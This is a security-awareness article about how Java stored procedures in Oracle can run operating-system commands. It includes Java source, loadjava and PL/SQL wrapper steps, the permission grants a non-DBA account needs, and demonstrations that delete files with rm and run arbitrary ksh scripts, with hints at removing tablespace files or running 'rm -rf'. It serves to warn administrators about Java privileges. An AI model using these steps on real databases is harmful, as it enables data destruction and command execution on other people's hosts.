Hacking Oracle with Java www.oracle.com

Attacking the database with Java classes

In this article we will show some examples of what is possible with the combination of Java and Oracle or, if you prefer, how to attack the Oracle database with Java. You cannot protect yourself if you don't know the threat, and experience shows that there are very many intruders, and most of them are insiders.

Oracle and Java: the good side

The gist of the integration of Oracle with Java is that from inside the database (for example, from PL/SQL or SQLPlus) it is possible to call Java classes, which can carry out some useful action.

To give only one example, suppose that you manage a database on a remote host H1, but you don't have any operating system account on that host, which is absolutely possible (we currently manage NT databases for an external company, but we don't have any NT account; Oracle username and password are stored in our Enterprise Manager console). Some day you get the warning that one of the tablespaces is running out of space and you know that you should add a database file or make one bigger. Question: how can you know that there is enough space on the disk on H1? One normally has to pick up the phone and ask one of the NT administratos.

With Java it is simple to create a class that lists the devices and the free space on them; therefore, it is possible to call this class from Oracle and find out where the additional data file can be created.

How do you define Java classes in the Oracle database?

The topic has become very popular and the method is explained in several excellent articles; therefore we will simply outline the method and you can fill in the gaps.
  1. Write a Java class that does something useful.
  2. In this class define a static public function (most probably, String) that returns the useful information.
  3. Define an Oracle function that calls the function of the Java class
  4. Make use of the information
For the moment let's simply suppose that we have written a Java class Cdf and its function Cdf.dfOne(String montPoint) returns the available space on the mount point that has been passed to it (how it works will be shown later on).

    On the server, load the Java class onto the Oracle database; there is an Oracle tool available that does it:
  • loadjava -user sys/syspwd -oci8 -resolve Cdf.class
  • Create an SQL function that calls the Java function

    SQL> CREATE OR REPLACE FUNCTION dfOracleOne
    (mointPoint VARCHAR2(256) )
    2 RETURN VARCHAR2
    3 AS LANGUAGE JAVA
    4 NAME 'Cdf.dfOne (java.lang.String) return java.lang.String';
    5 /
    Function created.
  • Test the function:
    SQL> execute :rrr := dfOne('/u02')
    PL/SQL procedure successfully completed.
    SQL> print rrr
    RRR
    ---------------------
    /u02 281806
The device /u02 has 281806 KB free (the output comes from Solaris).

Oracle and Java: the hacking starts

To understand the risks in the combination Oracle - Java, let's work with a simple Java class Df.java; here is its source code:

/*
 * Df.java
 *
 * Created on August 20, 2003, 10:18 AM
 * @author  front row seat
 */
import java.io.*;
public class Df {
    
 /** Creates a new instance of Df */
 public Df() {
 }
//===========================================================================
  public static String uptime() {
  String sLs     = "";
  String s       = "";
  try
  {
    sLs = "";
    boolean found = false;

    Process p           = Runtime.getRuntime().exec("/usr/bin/uptime");
    InputStream is      = p.getInputStream();
    DataInputStream dis = new DataInputStream(is);
    do{
      s = dis.readLine();
      if(s != null) {
        sLs = sLs + s + "\n";
	  }
    }while (s!= null);
  }
  catch(IOException io) {
    sLs = "There was an error";
  }
  return sLs;   
 }
 //======================================================================================
}

This class contains a function uptime, which is static and public (Oracle requirements); this function executes the UNIX command uptime, which shows how long the system has been running for.

The first step is loading the Java class into the Oracle database:

loadjava -user sys/syspwd -oci8 -resolve Df.class

As we already know, this Java function can be executed from Oracle, provided a wrapper is defined

CREATE OR REPLACE FUNCTION uptime
   RETURN VARCHAR2
   AS LANGUAGE JAVA
   NAME 'Df.uptime() return java.lang.String';
/
Function created.


SQL> select uptime from dual;
UPTIME
--------------------------------------------------------------------------------
3:11pm up 4 day(s), 3:45, 6 users, load average: 3.22, 2.36, 2.04

Now in the Java source let's change the command /usr/bin/uptime with /usr/bin/hostname without changing anything else.
Recompile the class:
  • oracle# javac Df.java
    Reload the java class
  • loadjava -user sys/syspwd -oci8 -resolve Df.class
  • in sqlplus execute again the function
  • SQL> connect / as sysdba Connected.
    SQL> select uptime from dual;
    UPTIME
    --------------------------------------------------------
    daddy1

    Of course this time we see the hostname, and not the uptime.

    Oracle with Java: hacking seriously

    Most of you already understand how the story will end, but let's be explicit.
  • Create a file on /tmp
    oracle# touch /tmp/a.txt
    oracle# ls -l /tmp/a.txt
      -rw-r--r-- 1 oracle dba 0 Jan 14 15:42 /tmp/a.txt
  • In the Java source replace "/usr/bin/uptime" with "/usr/bin/rm /tmp/a.txt"
  • Recompile the code
  • Reload the class
  • Execute the select
  • Check the file

    oracle# ls -l /tmp/a.txt
    /tmp/a.txt: No such file or directory

    Therefore the file has actually been deleted. This means that calling an Oracle PL/SQL function that execute some Java code, we can delete an operating system file. Actually, we can delete ANY operating system file belonging to the UNIX user oracle. Now the same exercise with one of the SYSTEM tablespace files ... (please don't, it will work)

    In the rest of the article the Java privileges in the database will be discussed, but we can already conclude that Java privileges are at least as potentially dangerous as the DBA ones, and often this is not understood.

    Who can use Java in the Oracle database?

    In the above example the account SYS was used; this time we will try to carry out the same actions with the account SCOTT and see how we can go on.
    localuser@:REP920 loadjava -user scott/tiger -oci8 -resolve Df.class
    localuser@:REP920
    Loading the class is allowed.
    
    SQL> connect scott/tiger
    
    SQL> CREATE OR REPLACE FUNCTION uptime
      2  return varchar2
      3  as language java
      4  NAME 'Df.uptime() return java.lang.String';
      5  /
    Function created.
    
    SQL> select uptime from dual;
    select uptime from dual
                       *
    ERROR at line 1:
    ORA-29532: Java call terminated by uncaught Java exception:
    java.security.AccessControlException: the Permission (java.io.FilePermission
    /usr/bin/uptime execute) has not been granted to SCOTT. The PL/SQL to grant
    this is dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission',
    '/usr/bin/uptime', 'execute' )
    
    
    
    Let's grant the privilege to scott
    
    SQL> execute dbms_java.grant_permission
    ( 'SCOTT', 'SYS:java.io.FilePermission','/usr/bin/uptime', 'execute' ); SQL> connect scott SQL> select uptime from dual; select uptime from dual * ERROR at line 1: ORA-29532: Java call terminated by uncaught Java exception: java.security.AccessControlException: the Permission (java.lang.RuntimePermission writeFileDescriptor) has not been granted to SCOTT. The PL/SQL to grant this is dbms_java.grant_permission( 'SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '' )
    
    SQL> select uptime from dual;
    select uptime from dual
                       *
    ERROR at line 1:
    ORA-29532: Java call terminated by uncaught Java exception:
    java.security.AccessControlException: the Permission
    (java.lang.RuntimePermission readFileDescriptor) has not been granted to SCOTT.
    The PL/SQL to grant this is dbms_java.grant_permission( 'SCOTT',
    'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' )
    
    
    SQL> show user
    USER is "SYSTEM"
    SQL> execute dbms_java.grant_permission(
    'SCOTT','SYS:java.lang.RuntimePermission', 'readFileDescriptor', '' );
    
    SQL> connect scott/tiger
    Connected.
    SQL> select uptime from dual;
    
    UPTIME
    --------------------------------------------------------------------------------
      9:40am  up 87 day(s), 23:21,  2 users,  load average: 1.10, 1.21, 1.26
    
    SQL> 
    
    
    Let's now try tu execute a UNIX script using the Korn shell.
    Process p = Runtime.getRuntime().exec("/bin/ksh /tmp/dummy");

    After compiling and loading the class we'll try to execute the function uptime, that in fact will run the UNIX script /tmp/dummy
    
    SQL> connect scott/tiger
    Connected.
    SQL> select uptime from dual;
    select uptime from dual
    *
    ERROR at line 1:
    ORA-29532: Java call terminated by uncaught Java exception:
    java.security.AccessControlException: the Permission (java.io.FilePermission
    /tmp/dummy execute) has not been granted to SCOTT. The PL/SQL to grant this is
    dbms_java.grant_permission( 'SCOTT', 'SYS:java.io.FilePermission',
    '/tmp/dummy', 'execute' )
    
    SQL> select uptime from dual;
    
    UPTIME
    ------------------------------------------------------------------------
    There was an error
    
    
    
    
    The cause of the error is that the user SCOTT does not have the java
    permission on /bin/ksh
    
    SQL> connect / as sysdba
    
    SQL> execute dbms_java.grant_permission( 'SCOTT', 
    'SYS:java.io.FilePermission', '/bin/ksh','execute' ); PL/SQL procedure successfully completed. SQL> connect scott Enter password: Connected. SQL> select uptime from dual; UPTIME -------------------------------------------------------------------------- SQL> !ls /tmp/dummy /tmp/dummy SQL> !cat /tmp/dummy /usr/bin/rm /tmp/aaa SQL> !ls -l /tmp/aaa /tmp/aaa: No such file or directory SQL> !touch /tmp/bbb SQL> !echo /usr/bin/rm /tmp/bbb > /tmp/dummy SQL> select uptime from dual; UPTIME -------------------------------------------------------------------------- SQL> !ls -l /tmp/bbb /tmp/bbb: No such file or directory SQL> !touch /tmp/bbb SQL> !more /tmp/dummy /usr/bin/rm /tmp/bbb SQL> select uptime from dual; UPTIME -------------------------------------------------------------------------- SQL> !ls -l /tmp/bbb /tmp/bbb: No such file or directory
    This means that if you have convinced your DBA to give you the java grants on "/bin/ksh", you can execute any UNIX command from inside the script /tmp/dummy, with the rights of the UNIX oracle account, such as an "rm -rf" This would open the doors to badly hacking Oracle with Java.

    An article about the Java permissions with Oracle can be found on http://otn.oracle.com/oramag/oracle/03-jul/o43devjvm.html
  • [Home] [Web Design] [HTML tutorials] [Javascript] [PSP] [About us] [Links] [Anonymous email] [Best hosting] [Daily Oracle Life] [IT jobs in Switzerland] [Web Submission] [Web traffic]
    Rate this article ...
    Very poor Poor Average Good Very good